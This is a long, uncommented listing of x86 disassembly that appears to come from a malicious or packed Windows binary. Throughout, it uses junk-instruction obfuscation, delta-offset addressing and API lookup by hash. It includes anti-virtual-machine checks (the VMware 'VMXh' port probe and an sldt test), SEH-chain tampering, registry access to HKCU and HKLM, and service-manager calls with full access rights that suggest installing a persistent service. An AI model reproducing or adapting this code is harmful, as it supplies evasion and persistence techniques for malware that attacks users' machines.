add esi, eax
mov eax, dword [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg dword [esp], eax
pop esp
xchg dword [esp], esi
mov esp, dword [esp]
jmp 0xf6a099
push dword [ebp + 0x167bd9fe]
call dword [ebp + 0x16782f8a]
mov eax, dword [ebp + 0x16783183]
jmp 0xf69e83
pop dword fs:[0]
add esp, 4
cmp dword [ebp + 0x16782717], 0
jne 0xf68e29
cmp dword [ebp + 0x16781099], 1
jne 0xf68e29
push 0x72dc
mov word [esp], ax
sldt word [esp]
mov ax, word [esp]
sub esp, 4
mov dword [esp], ecx
push esp
pop ecx
push 0x7c14
mov dword [esp], ebp
push edx
mov edx, 0x4ac37bb
mov ebp, 0x4ac37bf
sub ebp, edx
mov edx, dword [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg dword [esp], ecx
pop esp
add ecx, 0x7934682f
add ecx, ebp
push eax
mov eax, 0x4b9e1d2b
shl eax, 8
push ebp
mov ebp, 0x5ac37795
add ebp, 0x48423312
or ebp, 0x388a42ba
not ebp
xor ebp, 0x6cfb2fd9
add eax, ebp
pop ebp
sub eax, 0x4d73fd6a
sub ecx, eax
pop eax
pop ebp
push ebx
mov ebx, 0x1f560c
xchg ebx, eax
xchg ebp, eax
not ebp
xchg ebp, eax
xchg ebx, eax
dec ebx
push ebp
mov ebp, 0
sub ebp, ebx
mov ebx, ebp
pop ebp
dec ebx
sub ebx, 0x36724d09
add ebx, 0x3652f6fe
sub ecx, 0x3a380b69
add ecx, ebx
add ecx, 0x3a380b69
mov ebx, dword [esp]
add esp, 4
xor ecx, dword [esp]
xor dword [esp], ecx
xor ecx, dword [esp]
pop esp
or ax, ax
je 0xf68e55
mov dword [ebp + 0x16782717], 1
jmp 0xf68e55
lea eax, [ebp + 0x167bd5a3]
push ebx
push 0x20d81c13
pop ebx
push 0x6384
mov dword [esp], eax
push edx
push ecx
mov ecx, 0x4cd1574e
xchg ecx, edx
not edx
xchg ecx, edx
shl ecx, 3
add ecx, 0x3b3618c7
shl ecx, 6
sub ecx, 0xfcef5ddd
mov edx, ecx
pop ecx
add edx, 0xffffffff
add edx, 0xffffffff
push eax
push ebp
mov ebp, 0x4b15466a
mov eax, ebp
pop ebp
sub eax, 0x1d2d1089
sub edx, eax
mov eax, dword [esp]
add esp, 4
mov eax, edx
mov edx, dword [esp]
add esp, 4
sub eax, ebx
push eax
push dword [esp]
pop ebx
add esp, 4
push dword [esp]
pop eax
add esp, 4
shl ebx, 1
xor ebx, 0x41b03825
sub eax, ebx
mov ebx, dword [esp]
add esp, 4
mov dword [ebp + 0x167bd993], eax
push 0x34
lea eax, [ebp + 0x16780191]
push eax
push dword [ebp + 0x167bd993]
push 0
call dword [ebp + 0x167830bc]
cmp eax, 7
je 0xf6a091
mov bx, ds
test bl, 4
jne 0xf6a033
mov byte [ebp + 0x16782ed1], 0x56
push 0x9ca8b852
push dword [ebp + 0x16780469]
call dword [ebp + 0x16782dc4]
push 4
push 0x1000
push 0x64
push 0
call eax
mov dword [ebp + 0x167bda06], eax
mov byte [ebp + 0x16782ed1], 0x47
push 0xec18ac9b
push dword [ebp + 0x16780469]
call dword [ebp + 0x16782dc4]
call eax
mov esi, eax
mov byte [ebp + 0x16782ed1], 0x4f
push 0xc62f2661
push dword [ebp + 0x16781bc4]
call dword [ebp + 0x16782dc4]
lea ebx, [ebp + 0x167bda02]
push ebx
push 0x28
push esi
call eax
test eax, eax
jne 0xf69faa
mov byte [ebp + 0x16782ed1], 0x41
push 0xdb876498
push dword [ebp + 0x16781bc4]
call dword [ebp + 0x16782dc4]
mov dword [ebp + 0x167bda39], eax
mov byte [ebp + 0x16782ed1], 0x4c
push 0x80a4e7a4
push dword [ebp + 0x16781bc4]
call dword [ebp + 0x16782dc4]
mov ebx, dword [ebp + 0x167bda06]
lea ebx, [ebx + 4]
push ebx
lea ebx, [ebp + 0x167bda25]
push ebx
push 0
call eax
mov ebx, dword [ebp + 0x167bda06]
mov dword [ebx], 1
mov dword [ebx + 0xc], 2
mov ebx, dword [ebp + 0x16782039]
mov dword [ebp + 0x16782857], 0
push 0
push 0
push 0
mov ebx, dword [ebp + 0x167bda06]
push ebx
push 0
push dword [ebp + 0x167bda02]
call dword [ebp + 0x167bda39]
mov byte [ebp + 0x16782ed1], 0x45
push 0x92a5f797
push dword [ebp + 0x16783167]
call dword [ebp + 0x16782dc4]
push 0
push 2
call eax
mov bx, ds
test bl, 4
jne 0xf6a091
mov ebx, dword [ebp + 0x167bda06]
mov dword [ebx + 0xc], 0
mov ebx, dword [ebp + 0x16781c25]
push 0
push 0
mov ebx, dword [ebp + 0x167bda06]
push ebx
push 0
push dword [ebp + 0x167bda02]
call dword [ebp + 0x167bda39]
push dword [ebp + 0x167bda02]
call dword [ebp + 0x167b73f1]
push 0
call dword [ebp + 0x16781c12]
lea eax, [ebp + 0x167bfc20]
push 0x7e5c
mov dword [esp], ebx
push esp
pop ebx
push 0x1ca8
mov dword [esp], edx
mov dword [esp], eax
push edi
mov dword [esp], edx
mov edx, 0x11c42fb7
and edx, 0x462f7dcd
not edx
not edx
or edx, 0x741504d1
add edx, 0x26a34a67
add edx, 0xa03be217
mov eax, 0xc50ba5b1
add eax, 0x57037acb
add eax, edx
sub eax, 0x57037acb
pop edx
add ebx, eax
pop eax
push esi
push eax
push 0x413171a6
pop eax
xor eax, 0x413171a2
push eax
sub dword [esp], 0x771d22a2
pop esi
add esi, 0x771d22a2
pop eax
sub ebx, 0x4b722177
sub ebx, esi
push edi
mov edi, 0x4b722177
add ebx, edi
pop edi
push dword [esp]
pop esi
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg dword [esp], esi
pop esp
xor ebx, dword [esp]
xor dword [esp], ebx
xor ebx, dword [esp]
pop esp
mov dword [esp], eax
push dword fs:[0]
mov dword fs:[0], esp
cmp dword [ebp + 0x167807ed], 0
je 0xf6b0ac
cmp dword [ebp + 0x16781099], 1
jne 0xf6b0ac
cmp byte [ebp + 0x167bde4d], 0
jne 0xf6b0ac
jmp 0xf69d8a
push edi
mov edi, esp
add edi, 4
sub edi, 4
xor edi, dword [esp]
xor dword [esp], edi
xor edi, dword [esp]
pop esp
mov dword [esp], eax
push ecx
mov ecx, 0x79a61cab
xor dword [esp + 4], ecx
mov ecx, dword [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xor edi, dword [esp]
xor dword [esp], edi
xor edi, dword [esp]
mov esp, dword [esp]
pop eax
push eax
mov dword [esp], edx
push esi
mov esi, 0x550a270d
push ebx
mov ebx, 0x5b45b23
sub ebx, 0xe8bbf06f
push edi
push ecx
mov ecx, 0x5a477e88
push eax
mov eax, 0xfe1f9f7
push eax
pop edi
pop eax
add edi, ecx
pop ecx
sub esi, edi
mov edi, dword [esp]
add esp, 4
add esi, ebx
add esi, 0x6a29787f
pop ebx
shl esi, 7
add esi, 1
xor esi, 0x78eefc2a
mov edx, esi
pop esi
xor eax, edx
pop edx
cmp dword [ebp + 0x1678279f], 0
jne 0xf6a2e7
cmp dword [ebp + 0x167825c3], 0
je 0xf6a2fc
push eax
mov eax, eax
mov eax, 0x7d9
mov dword [ebp + 0x16782031], eax
call dword [ebp + 0x16782eee]
pop eax
push eax
mov dword [esp], edi
push esp
mov edi, dword [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg dword [esp], ebx
pop esp
add edi, 4
push 0x3f1c
mov dword [esp], ecx
push ebp
mov ebp, 4
mov ecx, ebp
mov ebp, dword [esp]
add esp, 4
sub edi, 0xea334f
sub edi, ecx
push edx
mov edx, 0xea334f
add edi, edx
pop edx
mov ecx, dword [esp]
add esp, 4
xchg dword [esp], edi
pop esp
mov dword [esp], edx
mov edx, eax
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, dword [esp]
xor dword [esp], ebp
xor ebp, dword [esp]
pop esp
mov dword [esp], ebp
push esi
mov esi, edx
mov ebp, esi
pop esi
mov eax, ebp
pop ebp
mov edx, dword [esp]
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg dword [esp], ebp
pop esp
mov dword [esp], ecx
mov dword [esp], ebx
mov dword [esp], eax
mov eax, esp
add eax, 4
push esi
mov dword [esp], edi
mov edi, 4
push ecx
mov ecx, 0x2662456e
add eax, ecx
pop ecx
sub eax, edi
sub eax, 0x2662456e
mov edi, dword [esp]
push 0x7cc
mov dword [esp], ecx
mov ecx, esp
push edx
mov edx, 4
add ecx, edx
pop edx
add ecx, 4
push ecx
push dword [esp + 4]
pop ecx
pop dword [esp]
pop esp
push ebp
mov dword [esp], eax
push dword [esp + 4]
push dword [esp]
pop eax
add esp, 4
pop dword [esp]
mov esp, dword [esp]
mov dword [esp], eax
push eax
push ecx
mov ecx, 0x65dd5749
sub dword [esp + 4], ecx
pop ecx
push dword [esp]
pop ebx
add esp, 4
push edx
sub esp, 4
mov dword [esp], esi
mov esi, 0x55da3294
shl esi, 8
sub esi, 0x995b3116
mov edx, 0x98636f86
add edx, 0x35bf2414
sub edx, esi
sub edx, 0x35bf2414
pop esi
push edx
inc dword [esp]
pop edx
sub esp, 4
mov dword [esp], edi
mov edi, 0x113b73ba
shr edi, 7
shl edi, 6
push ebp
push 0x164c37b4
pop ebp
shr ebp, 4
sub ebp, 0xff3ca457
or edi, ebp
pop ebp
and edi, 0x48890054
push ecx
mov ecx, 0x668b1137
add edi, 0x60a47f00
sub edi, ecx
sub edi, 0x60a47f00
pop ecx
sub edi, 0x6fac9339
xor edx, edi
push dword [esp]
pop edi
add esp, 4
sub ebx, 0x5d4a0cf0
add ebx, 0x1b716901
add ebx, edx
sub ebx, 0x1b716901
add ebx, 0x5d4a0cf0
pop edx
push ebx
lea ebx, [ebp + 0x16780571]
mov eax, dword [ebx]
mov dword [ebx], eax
mov eax, dword [ebx + 0x50]
mov dword [ebx + 0x50], eax
lea ebx, [ebp + 0x167bd997]
mov eax, dword [ebx]
mov dword [ebx], eax
pop ebx
push 0
lea eax, [ebp + 0x167bd997]
push 0x11cd
mov dword [esp], ecx
mov ecx, esp
push esi
mov esi, 4
add ecx, esi
pop esi
push esi
mov dword [esp], edx
mov edx, 4
sub ecx, 0xff8147e
sub ecx, edx
push edi
sub esp, 4
mov dword [esp], ecx
push esi
mov esi, 0x61a94c1e
mov ecx, 0x125013da
add ecx, esi
pop esi
push ebx
mov ebx, 0xedc86696
mov edi, ebx
pop ebx
sub edi, ecx
pop ecx
shr edi, 5
dec edi
dec edi
not edi
add edi, 0x13c68cb1
sub ecx, 0xf4149d0
add ecx, edi
add ecx, 0xf4149d0
pop edi
push dword [esp]
pop edx
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, dword [esp]
xor dword [esp], ecx
xor ecx, dword [esp]
pop esp
xor ecx, dword [esp]
xor dword [esp], ecx
xor ecx, dword [esp]
mov esp, dword [esp]
mov dword [esp], esi
mov dword [esp], eax
push 0x60
lea eax, [ebp + 0x16780571]
push 0x1085
mov dword [esp], ebx
mov dword [esp], ecx
mov dword [esp], esi
mov dword [esp], edx
mov dword [esp], eax
push 0
push 0
push 0x1800
push 0x76a1
mov dword [esp], ebx
sub esp, 4
push esp
pop dword [esp]
push eax
mov eax, 4
add dword [esp + 4], eax
mov eax, dword [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg dword [esp], edi
pop esp
mov ebx, dword [esp]
add esp, 4
add ebx, 4
push esi
push edi
push eax
push ebp
mov ebp, 0x31b257f3
sub ebp, 0x1e480430
add ebp, 0x1f252f7d
add ebp, 0x724c24b2
sub ebp, 0x268971b5
mov eax, ebp
pop ebp
mov edi, eax
pop eax
mov esi, 0x81adc9c7
add esi, edi
push dword [esp]
pop edi
add esp, 4
sub ebx, esi
mov esi, dword [esp]
add esp, 4
push ebx
push dword [esp + 4]
mov ebx, dword [esp]
add esp, 4
pop dword [esp]
mov esp, dword [esp]
mov dword [esp], ebx
call dword [ebp + 0x167b3745]
call dword [ebp + 0x167b73f1]
push dword [ebp + 0x167bd9fe]
call dword [ebp + 0x16782f8a]
lea eax, [ebp + 0x16780571]
push dword [eax + 0x18]
push dword [esp]
pop eax
push 0x2e42
mov dword [esp], ebp
push edi
mov dword [esp], esp
add dword [esp], 4
mov ebp, dword [esp]
add esp, 4
push ecx
push eax
push 0x54ae26d4
pop eax
sub eax, 0xc64eab8
mov ecx, eax
pop eax
push edi
mov edi, 0xb7b6c3e8
add ecx, edi
pop edi
add ebp, ecx
pop ecx
push edx
mov dword [esp], eax
push 4
pop eax
sub ebp, 0x7ee11d8d
add ebp, eax
push eax
mov eax, 0x64c1bc9
neg eax
or eax, 0x7047131c
neg eax
xor eax, 0x78e9154c
add ebp, eax
mov eax, dword [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg dword [esp], edx
pop esp
pop eax
xor ebp, dword [esp]
xor dword [esp], ebp
xor ebp, dword [esp]
mov esp, dword [esp]
mov dword [ebp + 0x16781d0e], 0
cmp dword [ebp + 0x16782827], 0
je 0xf6a710
cmp eax, 0x8c
jae 0xf69af9
jmp 0xf6a71b
mov eax, dword [ebp + 0x167bdee2]
mov dword [ebp + 0x16782717], eax
mov dword [ebp + 0x16781099], 0
cmp dword [ebp + 0x167bdee2], 0
je 0xf693c6
jmp 0xf6a099
cmp eax, 0x98
jae 0xf69af9
lea eax, [ebp + 0x42a0076]
call eax
lea eax, [ebp + 0x429fb5c]
call eax
push 0x4848
mov dword [esp], eax
mov eax, dword [esp]
push ebp
push esp
pop ebp
add ebp, 4
sub esp, 4
mov dword [esp], edi
push ebp
mov ebp, 0x710456b1
mov edi, ebp
pop ebp
push edx
push esi
mov esi, 0x34af30bf
mov edx, esi
pop esi
shr edx, 2
shl edx, 4
add edx, 0x2e0b182a
push ecx
mov ecx, 0x3ce25d51
shr ecx, 1
push edi
mov edi, 0x2f2c153d
xor edi, 0x576f4e8f
shl edi, 5
sub edi, 0x1c85c473
xor ecx, edi
pop edi
sub edx, ecx
pop ecx
xor edi, edx
mov edx, dword [esp]
add esp, 4
add edi, 0x85c89300
push 0x21fb
mov dword [esp], eax
mov eax, 0x150534b2
sub ebp, 0x57930f81
add ebp, 0x40f84626
add ebp, eax
sub ebp, 0x40f84626
add ebp, 0x57930f81
pop eax
add ebp, edi
sub ebp, 0x150534b2
pop edi
xor ebp, dword [esp]
xor dword [esp], ebp
xor ebp, dword [esp]
pop esp
cmp dword [ebp + 0x1678279f], 0
jne 0xf6a7e8
cmp dword [ebp + 0x167825c3], 0
je 0xf6a7fd
push eax
mov eax, eax
mov eax, 0xbc6
mov dword [ebp + 0x16782031], eax
call dword [ebp + 0x16782eee]
pop eax
push eax
push ebp
mov ebp, 0x40e7399b
sub dword [esp + 4], ebp
pop ebp
pop eax
push esi
push edx
push ebx
sub esp, 4
mov dword [esp], ebp
mov ebp, 0x2f285a1b
mov ebx, 0x11bedf80
add ebx, ebp
pop ebp
mov edx, ebx
pop ebx
mov esi, edx
mov edx, dword [esp]
add esp, 4
push ebp
mov ebp, 0x226a11ae
add eax, ebp
pop ebp
add eax, esi
push edi
mov dword [esp], esi
mov esi, 0x2d455b7a
shl esi, 4
shl esi, 8
add esi, 0x39431f1b
sub esi, 0x55d51e2f
shl esi, 4
sub esi, 0x6feffd12
sub eax, esi
pop esi
push dword [esp]
mov esi, dword [esp]
add esp, 4
push ebp
push esp
pop ebp
push ebx
mov ebx, 4
add ebp, ebx
pop ebx
add ebp, 4
xor ebp, dword [esp]
xor dword [esp], ebp
xor ebp, dword [esp]
mov esp, dword [esp]
cmp eax, 0xffffffff
jne 0xf6b88e
mov dword [ebp + 0x16781d03], 0
jmp 0xf6aec9
lea eax, [ebp + 0x167bcee8]
push 0x1ca
mov dword [esp], ebp
push 0x10bf
mov dword [esp], esp
add dword [esp], 4
pop ebp
add ebp, 4
push eax
mov dword [esp], ecx
mov ecx, 4
sub ebp, 0xba82d5a
sub ebp, ecx
push ebx
mov ebx, 0xba82d5a
add ebp, ebx
pop ebx
push dword [esp]
pop ecx
push ecx
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg dword [esp], eax
pop esp
mov dword [esp], esp
push esi
mov esi, 4
add dword [esp + 4], esi
pop esi
pop ecx
add ecx, 4
add ecx, 4
xchg dword [esp], ecx
mov esp, dword [esp]
sub esp, 4
mov dword [esp], ebp
push dword [esp + 4]
pop ebp
pop dword [esp]
mov esp, dword [esp]
mov dword [esp], eax
push dword [ebp + 0x167bceb5]
call dword [ebp + 0x167bcead]
mov dword [ebp + 0x167bceb9], eax
push dword [ebp + 0x167bceb9]
call dword [ebp + 0x167bcea9]
push dword [ebp + 0x167bceb9]
call dword [ebp + 0x16781a9e]
jmp 0xf6a954
push 0x406e
mov dword [esp], eax
add dword [esp], 0x6a7b6cc9
push dword [esp]
pop eax
push 0x2fcd
mov dword [esp], ebp
push edi
mov dword [esp], esp
push ecx
push edx
mov edx, 0x3739230a
add edx, 0xc8c6dcfa
mov ecx, edx
pop edx
add dword [esp + 4], ecx
mov ecx, dword [esp]
add esp, 4
pop ebp
push edi
push 0x5170
mov dword [esp], ebx
mov ebx, 4
push ebx
pop edi
pop ebx
add ebp, 0x1e3455
add ebp, edi
sub ebp, 0x1e3455
mov edi, dword [esp]
add esp, 4
push esi
mov esi, 4
add ebp, esi
pop esi
push edi
mov dword [esp], ebp
push dword [esp + 4]
pop ebp
pop dword [esp]
pop esp
sub eax, 0x6a7b6cc9
cmp dword [ebp + 0x1678279f], 0
jne 0xf6a9e0
cmp dword [ebp + 0x167825c3], 0
je 0xf6a9f5
push eax
mov eax, eax
mov eax, 0x7d4
mov dword [ebp + 0x16782031], eax
call dword [ebp + 0x16782eee]
pop eax
push 0x883
mov dword [esp], eax
push ebp
mov ebp, 0x4694046
add dword [esp + 4], ebp
push dword [esp]
pop ebp
add esp, 4
mov eax, dword [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg dword [esp], esi
mov esp, dword [esp]
sub esp, 4
mov dword [esp], edx
push edi
mov edi, 0x84e46f2
mov edx, 0xc2706b4
xor edx, edi
pop edi
add eax, 0x47284e6f
sub eax, edx
sub eax, 0x47284e6f
mov edx, dword [esp]
sub esp, 4
mov dword [esp], ebp
push esp
pop ebp
add ebp, 4
push 0x19f5
mov dword [esp], ecx
mov ecx, 4
add ebp, ecx
pop ecx
xor ebp, dword [esp]
xor dword [esp], ebp
xor ebp, dword [esp]
mov esp, dword [esp]
push 0xf003f
push 0
push 0
call dword [ebp + 0x16783001]
test eax, eax
jne 0xf6aa87
mov dword [ebp + 0x167bceb5], eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp + 0x167bd08f]
push 0x16f
mov dword [esp], ecx
mov ecx, esp
sub esp, 4
mov dword [esp], edx
mov edx, 4
add ecx, edx
mov edx, dword [esp]
add esp, 4
push 0x7187
mov dword [esp], edx
mov edx, 0x12ff259d
inc edx
push esi
mov esi, 0x12ff259a
sub edx, 0x35f000a5
sub edx, esi
add edx, 0x35f000a5
pop esi
sub ecx, 0x3e325df2
sub ecx, 0x630f739a
sub ecx, edx
push ebx
mov ebx, 0x7ad9558d
inc ebx
add ebx, 0xe8361e0c
add ecx, ebx
pop ebx
add ecx, 0x3e325df2
mov edx, dword [esp]
add esp, 4
push ecx
push dword [esp + 4]
mov ecx, dword [esp]
push eax
mov dword [esp], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
push ebx
push dword [esp + 4]
pop ebx
pop dword [esp]
pop esp
pop dword [esp]
mov esp, dword [esp]
mov dword [esp], eax
push 1
push 1
push 1
push 0xf01ff
cmp dword [ebp + 0x16782827], 0
je 0xf695a8
lea eax, [ebp + 0x167bcf12]
jmp 0xf695ae
lea eax, [ebp + 0x167bcebd]
push 0x2df8
mov dword [esp], ecx
mov dword [esp], eax
lea eax, [ebp + 0x167bcf31]
push ebp
push esp
pop ebp
push edi
mov edi, 0x6daa4c2f
shr edi, 4
and edi, 0x5d36735c
xor edi, 0x4122044
add ebp, edi
pop edi
push edx
mov edx, 4
add ebp, 0x75bb5dac
sub ebp, 0x63b520ec
push edx
mov edx, 0xc2a6d1c
sub edx, 0x5ecb17f3
shl edx, 1
dec edx
dec edx
sub edx, 0xfbc2f83
sub ebp, 0x2e6434ac
sub ebp, edx
add ebp, 0x2e6434ac
pop edx
sub ebp, 0x247d203a
sub ebp, edx
push ecx
push edx
mov edx, 0x289863be
add edx, 0x9341e5d
not edx
and edx, 0x4cbb26e8
sub edx, 0xcd80f4ff
mov ecx, edx
pop edx
dec ecx
inc ecx
shr ecx, 3
shl ecx, 1
not ecx
sub ecx, 0xbbd653cd
add ebp, ecx
pop ecx
add ebp, 0x4b027acd
add ebp, 0x63b520ec
sub ebp, 0x75bb5dac
mov edx, dword [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg dword [esp], edi
pop esp
push 0x586c
mov dword [esp], edx
mov dword [esp], ebp
push dword [esp + 4]
mov ebp, dword [esp]
add esp, 4
pop dword [esp]
mov esp, dword [esp]
mov dword [esp], eax
cmp dword [ebp + 0x16782827], 0
je 0xf6b188
lea eax, [ebp + 0x167bd057]
jmp 0xf6b18e
push 0x37fa
mov dword [esp], ebx
mov dword [esp], eax
push dword [esp]
pop eax
push eax
mov dword [esp], edi
sub esp, 4
push edi
mov dword [esp], esp
add dword [esp], 4
pop dword [esp]
push edx
mov edx, 4
add dword [esp + 4], edx
mov edx, dword [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg dword [esp], ecx
pop esp
mov edi, dword [esp]
add esp, 4
add edi, 4
push eax
push ebp
mov ebp, 4
mov eax, ebp
mov ebp, dword [esp]
add esp, 4
add edi, 0x1a191dbf
add edi, eax
sub edi, 0x1a191dbf
pop eax
xchg dword [esp], edi
mov esp, dword [esp]
cmp dword [ebp + 0x1678279f], 0
jne 0xf6acea
cmp dword [ebp + 0x167825c3], 0
je 0xf6acff
push eax
mov eax, eax
mov eax, 0x7d2
mov dword [ebp + 0x16782031], eax
call dword [ebp + 0x16782eee]
pop eax
push 0x420b
mov dword [esp], eax
mov eax, dword [esp]
push esi
push esp
pop esi
push edi
sub esp, 4
mov dword [esp], eax
mov eax, 0x171d53fe
mov edi, eax
pop eax
shr edi, 8
dec edi
xor edi, 0x171d56
add esi, edi
push dword [esp]
pop edi
add esp, 4
push eax
mov eax, 0x3176459b
xchg ebp, eax
inc ebp
xchg ebp, eax
add eax, 1
not eax
push edx
push ecx
mov ecx, 0xce89ba66
mov edx, ecx
pop ecx
xor eax, edx
mov edx, dword [esp]
add esp, 4
push edi
mov edi, 0x75590379
not edi
add edi, 0x7fc42e7b
xor edi, 0x4ee66315
add esi, edi
pop edi
add esi, eax
push ebx
mov ebx, 0x282970f8
and ebx, 0x4cd42fc8
not ebx
add ebx, 0x5a4402d4
sub ebx, 0xdb699f7
sub esi, ebx
pop ebx
pop eax
xchg dword [esp], esi
mov esp, dword [esp]
mov dword [ebp + 0x16781099], 1
push 0x98781034
push dword [ebp + 0x16781bc4]
call dword [ebp + 0x16782dc4]
mov dword [ebp + 0x16783160], eax
cmp byte [ebp + 0x167bdee6], 0
jne 0xf6ade3
lea eax, [ebp + 0x167bdc29]
push eax
lea eax, [ebp + 0x167bdee7]
push eax
push 0x80000001
call dword [ebp + 0x167b736d]
or eax, eax
jne 0xf6ade3
mov dword [ebp + 0x167826eb], 1
lea eax, [ebp + 0x167bdc29]
push eax
lea eax, [ebp + 0x167bda0a]
push eax
push 0x80000002
call dword [ebp + 0x167b736d]
or eax, eax
jne 0xf6ae16
mov dword [ebp + 0x16782717], 1
push dword [ebp + 0x167bdc29]
call dword [ebp + 0x16783160]
push 0xc005dbd4
push dword [ebp + 0x16781bc4]
call dword [ebp + 0x16782dc4]
mov dword [ebp + 0x167830da], eax
lea eax, [ebp + 0x167bce4c]
push eax
push dword [ebp + 0x16780469]
call dword [ebp + 0x16782763]
or eax, eax
je 0xf6ae4f
mov ebx, eax
lea eax, [ebp + 0x167bde29]
push eax
call ebx
lea eax, [ebp + 0x167bde29]
cmp word [eax], 9
jne 0xf6ae65
mov dword [ebp + 0x16782827], 1
call dword [ebp + 0x1678311f]
and eax, 0xff
cmp eax, 5
jae 0xf6ae7f
mov dword [ebp + 0x16782897], 1
cmp byte [ebp + 0x167bda24], 0
je 0xf6ae99
cmp dword [ebp + 0x16782873], 0
je 0xf696b7
jmp 0xf6a099
lea eax, [ebp + 0x167bcefe]
mov dword [ebp + 0x167826e7], eax
cmp dword [ebp + 0x16782827], 0
jne 0xf6aec4
cmp dword [ebp + 0x16782873], 0
je 0xf696b2
jmp 0xf6a099
lea eax, [ebp + 0x167bd79b]
mov dword [ebp + 0x167bd993], eax
jmp 0xf69f0f
lea eax, [ebp + 0x167bcee8]
push ebx
push esp
pop ebx
push edi
push 0x11dc
mov dword [esp], ebp
push eax
mov eax, 0xb5661ef
mov ebp, eax
pop eax
xor ebp, 0x575a25d4
shr ebp, 1
neg ebp
shl ebp, 5
shr ebp, 7
add ebp, 0xff81888c
mov edi, ebp
pop ebp
add ebx, 0x29f22cbd
sub ebx, 0x76ec284c
add ebx, edi
add ebx, 0x76ec284c
sub ebx, 0x29f22cbd
push dword [esp]
pop edi
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg dword [esp], ebx
pop esp
mov dword [esp], ecx
push esp
pop ecx
add ecx, 4
push edi
mov edi, 0x165a3f80
and edi, 0x552c6bbf
or edi, 0x3b373d85
xor edi, 0x2a062dc7
push ebx
mov ebx, 0x3a231680
dec ebx
sub ebx, 0xc40bf3b7
add edi, ebx
pop ebx
not edi
add edi, 0x8b50350f
add ecx, edi
pop edi
xchg dword [esp], ecx
pop esp
push ebp
mov ebp, 4
sub ebx, ebp
pop ebp
xor ebx, dword [esp]
xor dword [esp], ebx
xor ebx, dword [esp]
mov esp, dword [esp]
mov dword [esp], eax
push dword [ebp + 0x167bceb5]
call dword [ebp + 0x167bcead]
mov dword [ebp + 0x167bceb9], eax
mov dword [ebp + 0x16782793], 0
cmp dword [ebp + 0x167bceb9], 0
je 0xf6a94f
lea eax, [ebp + 0x167bd193]
push edx
mov edx, esp
push ebx
mov dword [esp], ebp
mov ebp, 4
sub edx, 0xcdb295a
add edx, ebp
add edx, 0xcdb295a
mov ebp, dword [esp]
add esp, 4
sub esp, 4
mov dword [esp], ecx
mov ecx, 0x3fad110d
add ecx, 0x22ed6057
not ecx
inc ecx
shl ecx, 7
shr ecx, 7
or ecx, 0x33d82082
push edi
mov edi, 0x33fdae9a
push eax
mov eax, 0x130d4788
shl eax, 2
shl eax, 5
or eax, 0xe0f2cc3
add eax, 1
shl eax, 1
add eax, 0x1b8b785f
add ecx, eax
mov eax, dword [esp]
add esp, 4
sub ecx, edi
push ebp
mov ebp, 0x60380112
add ebp, 0x29e72375
shr ebp, 4
dec ebp
not ebp
add ebp, 0x418d442f
sub ecx, ebp
pop ebp
mov edi, dword [esp]
add esp, 4
sub edx, ecx
pop ecx
sub esp, 4
mov dword [esp], edx
push dword [esp + 4]
push dword [esp]
pop edx
add esp, 4
pop dword [esp]
pop esp
mov dword [esp], eax
push 1
push dword [ebp + 0x167bceb9]
call dword [ebp + 0x167bceb1]
push dword [ebp + 0x167bceb9]
call dword [ebp + 0x16781a9e]
push 0xf01ff
cmp dword [ebp + 0x16782827], 0
je 0xf6a89f
lea eax, [ebp + 0x167bcf12]
jmp 0xf6a8a5
mov eax, 0x564d5868
mov ecx, 0x14
mov dx, 0x5658
in eax, dx
pop dword fs:[0]
sub esp, 4
mov dword [esp], ebx
mov dword [esp], ecx
push esp
mov ecx, dword [esp]
sub esp, 4
mov dword [esp], esi
mov esi, esp
add esi, 4
add esi, 4
xchg dword [esp], esi
pop esp
push eax
mov eax, 0x2f66134e
shr eax, 4
push ecx
mov ecx, 0x2f66130
sub eax, 0x100e2fa2
sub eax, ecx
add eax, 0x100e2fa2
pop ecx
add ecx, eax
pop eax
add ecx, 4
push edi
mov dword [esp], eax
mov dword [esp], ecx
push dword [esp + 4]
push dword [esp]
mov ecx, dword [esp]
push edi
mov edi, esp
add edi, 4
push eax
mov eax, 4
add edi, eax
pop eax
xchg dword [esp], edi
pop esp
push 0x339e
mov dword [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg dword [esp], ebp
pop esp
pop dword [esp]
pop esp
cmp eax, 0
jbe 0xf69666
cmp dword [ebp + 0x16781099], 1
jne 0xf69666
mov dword [ebp + 0x16782717], 1
jmp 0xf69d94
cmp dword [ebp + 0x16782827], 0
je 0xf6ae9e
lea eax, [ebp + 0x167bcf1c]
jmp 0xf6aea4
lea eax, [ebp + 0x167bd040]
push 0x66f
mov dword [esp], eax
lea eax, [ebp + 0x167bd08f]
push 0xb9b
mov dword [esp], eax
call dword [ebp + 0x16782f8f]
push 0x3855
mov dword [esp], eax
push 0x7f05
push 0x298e
mov dword [esp], esp
add dword [esp], 4
pop dword [esp]
add dword [esp], 4
mov eax, dword [esp]
add esp, 4
push eax
mov dword [esp], edx
mov edx, 0x392a6832
or edx, 0x13980eb6
and edx, 0x6a5f42ad
push 0x4180
mov dword [esp], ecx
mov ecx, 0x20507ae7
or ecx, 0x18340850
add ecx, 0x75f518e9
dec ecx
dec ecx
xor ecx, 0xd1a3befb
sub edx, ecx
pop ecx
push edi
mov edi, 0x55afea85
sub edx, 0x68db5369
add edx, edi
add edx, 0x68db5369
pop edi
add eax, edx
pop edx
add eax, 0x10
push eax
push dword [esp + 4]
push dword [esp]
mov eax, dword [esp]
add esp, 4
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
xchg dword [esp], ebp
pop esp
pop dword [esp]
mov esp, dword [esp]
push eax
